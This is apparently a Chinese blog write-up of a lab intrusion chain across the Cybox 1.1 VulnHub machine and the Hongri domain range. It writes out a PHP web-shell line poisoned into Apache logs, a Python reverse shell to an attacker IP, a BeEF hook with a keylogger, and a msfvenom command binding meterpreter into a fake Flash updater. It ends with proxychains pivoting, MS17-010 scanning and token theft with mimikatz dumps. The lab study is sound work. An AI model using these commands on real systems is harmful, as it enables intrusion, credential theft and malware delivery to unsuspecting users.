利用红日靶场四加vulnhub靶机,缝合靶场的学习记录,前期准备中记录了vulhub项目的漏洞复现学习。在学习环境中可以不断利用缝合这几种方式/环境进行学习--我是缝合怪!~
Cybox-Web靶机-提权
Msf联动Beef进内网
proxychain-sock5代理
MS17-010提权system
令牌窃取域管理员
此次共三台机器,红日靶场四中的域PC和域DC,加上Cybox 1.1的Web靶机。
需要更改攻击机的/etc/hosts和DC中dns的解析。将cybox.company设置为web靶机的IP。
该靶场中的原有web机器是搭建好的vulhub 项目,一键构建对应漏洞的docker容器,方便进行漏洞学习/浮复现。这里推荐使用git clone整个项目,有变动的时候直接git pull即可。热身准备docker-未授权,搞一下~~
sudo su ##以sudo调用su,su是切换用户的命令,sudo是以ROOT权限执行切换,切换到ROOT输入本账户密码。 docker-compose build docker-compose up -d git pull ##构建容器,启动容器,down是关闭容器,git pull 在本地拉取远程仓库同步。
获取子域名---目录爆破---兔子洞陷阱---越权修改密码---文件包含日志RCE---sudo提权
此靶机的ftp,ckeditor,webmail这三个地方是兔子洞,像漏洞……
webmail的squ 1.4.22版本存在可利用exp但是无法执行。
ftp的根目录在用户的$HOME写不了webshell。
ckeditor没有找到上传点……
gobuster vhost -u http://cybox.company -w 'dict' -t 64
python3 dirsearch.py -e * -L url.txt -t 32 -x 400,403
根据页面创建普通用户,得到cybox的用户名和密码,该用户可以登陆webmail系统
在monitor系统利用重置密码功能,在收件箱查收到重置链接后修改email参数为admin即可重置admin账户密码
在monitor系统的admin页面查看源码可以发现styles动态加载,存在php文件包含漏洞,在dev.cybox.company页面可以查看到phpinfo信息.
根据apache2路径在日志文件中写入<?php system($_GET['shell']);?>,首先包含apache2的/opt/bitnami/apache2/logs/access_log路径看到日志存储的是ftp.cybox.company站点的日志在浏览器中按CTRL+SHIFT+I组合键在network中选择数据包选择'edit and resend'将php代码写入agent中发送即可。
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击ip',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" ##在这个靶机中因为设置了iptables白名单有严格的out和input链,反弹只能从21、25、80、443、110、143端口output。
利用github中找到的smart-linux-enum,使用该脚本进行枚举/信息收集,查找可以提权的点。
发现可疑/opt/registerlauncher程序,在同目录下发现源码,查阅后发现该源码为register页面结合看到的hahah用户判断此功能为注册页面register的功能实现,尝试创建多个用户后发现用户sudo可以执行任意sudo命令,以sudo su命令提权ROOT成功。在该靶机查看/etc/sudoers文件发现用户组%admin和%sudo拥有sudo权限,创建sudo用户的同时,sudo也在sudo同名组。
发现该机器存在白名单的iptables限制,本意不打算修改。该系统为目标的公司系统,控制了web系统后修改web页面的php文件增加beef的hook,横向扩展使用msf联动beef的方式进行。
修改beef的配置文件,此处只做示例,详细情况根据自己的环境和想法修改。beef配置文件采用yaml格式,内部有注释,通俗易懂。
extension扩展打开
修改默认用户/密码
修改默认文件名/路径
修改默认端口
默认kali环境下路径为
/usr/share/beef-xss/config.yaml
在最后的扩展部分找到msf设置为true,其余的端口密码,路径文件名全都在该文件中,看注释或者单词名即可。篇幅原因就不粘贴出来了。
/usr/share/beef-xss/extensions/metasploit/config.yaml
在第二张截图是msf扩展部分,其中端口是msf默认的api接口,beef会和这个端口通讯,其中账户和密码也是默认的,可以修改,也可以不改。后续在msf加载的时候同步修改即可。最下面一部分需要根据自己的msf安装路径进行填写,需要让beef找到msf。
修改配置完成之后需要先打开msf,执行load msgrpc ServerHost=XXXXX Pass=XXXXX,加载成功后打开beef,beef默认需要ROOT执行,msf也必须以ROOT执行,我在不同权限启动的时候出现了报错,可能会无法访问msf的api接口,最新版msf以ROOT权限启动使用kali系统自身的postgresql。
在主页修改完成之后,在beef中即可看到用户上线,执行keylogger记录后,可以查看到用户的基本情况,以及在当前页面的键盘记录。我们模拟用户在域PC上面进行登陆,访问自己的register.cybox.company我们操作beef进行更新提示,诱导用户下载执行自己的恶意flash.exe程序。
msfvenom -a x86 --platform windows -x flashplayer_32_ax_debug.exe -k -p windows/meterpreter/reverse_tcp lhost=XXXX lport=XXX -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o flashplayer.exe
首先在网络上找到一个flash的更新程序,利用msfvenom程序将木马捆绑在该程序上,'-k'选项的意思是不影响flash程序的本身功能,'-e -i'执行3次编码,'-b'是将可能影响程序的坏字符替换为\x00,这么制作完之后不能使用upx加壳。也可以用msfvenom 制作shellcode加载的方式。
也可以利用 msf的autopwn模块联动beef的点击劫持自动化攻击访问者的浏览器,autopwn会根据访问者的浏览器自动进行exp利用。
正好顺着这个,用令牌窃取的方式获取域管理员权限。后续用管理员查看后发现本机的UAC设置开启的最高级别。
run get_local_subnets run autoroute -s XXXX/24 获取本机网段,添加路由。 background 返回主页面 use auxiliary/server/socks_proxy set srvhost XXXX 本机IP socks中还有端口,账户,密码。都可以选择性更改。 最终的socks服务器将会把所有流量代理进这个meterpreter会话,使用这个通讯连接转发。
proxychains nmap -sV --top-ports 3000 XXXXX -Pn -T4 proxychains nmap -sV -p445 -iL ip.txt -Pn --script smb-vuln-ms17-010
使用nmap进行top-3000端口扫描,-Pn禁止存活探测,验证ms17-010漏洞
kiwi_cmd就是执行mimikatz的命令,在msf中加载需要load kiwi。使用incognito令牌窃取,域管理员登陆过这台机器之后即可窃取域管理员身份令牌。
list_tokens -u ##查看当前内存中的令牌 impersonate_token DEMO\\Administrator ##窃取域管理员令牌 chcp 65001 ## 切换英文,中文乱码 net view ##查看网内计算机名 nbtstat -A IP ## 根据IP查计算机名,在这里我们dc也是dns。没有dns解析找不到dc的。 dir \\DC\C$ ##以域管理员身份对DC执行dir命令 kiwi_cmd -f lsadump::sam ###查看本地sam账户密码库 kiwi_cmd -f kerberos::list ###列出kerberos
不断瞎搞各种各样的环境~~
学习一年多的一只新菜鸟,上文有任何错误之处请各位大哥尽情指出,还需要和各位前辈多多学习。
本人博客:https://dnie9.com/ ,刚开张半个月混个脸熟。